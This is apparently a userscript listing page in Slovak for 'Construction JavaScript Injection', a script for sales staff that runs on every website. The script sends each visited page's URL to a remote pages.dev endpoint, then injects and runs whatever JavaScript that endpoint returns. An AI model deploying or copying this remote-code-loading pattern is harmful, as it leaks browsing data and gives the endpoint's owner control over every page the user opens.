Construction JavaScript Injection

Inject some javascript into these websites

Verzia zo dňa 27.06.2025. Pozri najnovšiu verziu.

Na nainštalovanie skriptu si budete musieť nainštalovať rozšírenie, ako napríklad Tampermonkey, Greasemonkey alebo Violentmonkey.

Na nainštalovanie skriptu si budete musieť nainštalovať rozšírenie, ako napríklad Tampermonkey, % alebo Violentmonkey.

Na nainštalovanie skriptu si budete musieť nainštalovať rozšírenie, ako napríklad Tampermonkey, % alebo Violentmonkey.

Na nainštalovanie skriptu si budete musieť nainštalovať rozšírenie, ako napríklad Tampermonkey alebo Userscripts.

Na inštaláciu tohto skriptu je potrebné nainštalovať rozšírenie, ako napríklad Tampermonkey.

Na inštaláciu tohto skriptu je potrebné nainštalovať rozšírenie správcu používateľských skriptov.

(Už mám správcu používateľských skriptov, nechajte ma ho nainštalovať!)

Na inštaláciu tohto štýlu je potrebné nainštalovať rozšírenie, ako napríklad Stylus.

Na inštaláciu tohto štýlu je potrebné nainštalovať rozšírenie, ako napríklad Stylus.

Na inštaláciu tohto štýlu je potrebné nainštalovať rozšírenie, ako napríklad Stylus.

Na inštaláciu tohto štýlu je potrebné nainštalovať rozšírenie správcu používateľských štýlov.

Na inštaláciu tohto štýlu je potrebné nainštalovať rozšírenie správcu používateľských štýlov.

Na inštaláciu tohto štýlu je potrebné nainštalovať rozšírenie správcu používateľských štýlov.

(Už mám správcu používateľských štýlov, nechajte ma ho nainštalovať!)

// ==UserScript==
// @name            Construction JavaScript Injection
// @description     Inject some javascript into these websites
// @version         1.0.0
// @author          Oliver P
// @namespace       https://github.com/OlisDevSpot
// @license         MIT
// @match           *://*/*
// @run-at          document-end
// @compatible      safari
// @grant           GM_setValue
// @grant           GM_getValue
// @grant           GM_registerMenuCommand
// ==/UserScript==

// jshint esversion: 8

(async function() {
  // Only run config in top window
  if (window.self !== window.top) return;

  let company = await GM_getValue('company');
  let firstName = await GM_getValue('firstName');
  let lastName = await GM_getValue('lastName');

  if (!company || !firstName || !lastName) {
    // Register a menu option to configure later
    GM_registerMenuCommand('Set Sales Credentials', configure);

    // Ask upfront
    await configure();
  }

  async function configure() {
    company = prompt('Enter your company name (e.g. david-star):') || '';
    firstName = prompt('First name:') || '';
    lastName = prompt('Last name:') || '';
    if (company && firstName && lastName) {
      await GM_setValue('company', company);
      await GM_setValue('firstName', firstName);
      await GM_setValue('lastName', lastName);
      location.reload();
    } else {
      alert('Values cannot be empty!');
    }
  }

  // Build dynamic fetch URL
  const salesperson = { firstName, lastName };
  const currentSiteUrl = encodeURIComponent(window.location.href);
  const params = new URLSearchParams({
    data: JSON.stringify({ currentSiteUrl, salesperson })
  });
  const url = `https://${company}.pages.dev/your-endpoint?${params}`;

  // Inject dynamic code
  fetch(url)
    .then(res => res.text())
    .then(code => {
      const s = document.createElement('script');
      s.textContent = code;
      document.head.appendChild(s);
    })
    .catch(err => console.error('Inject error:', err));
})();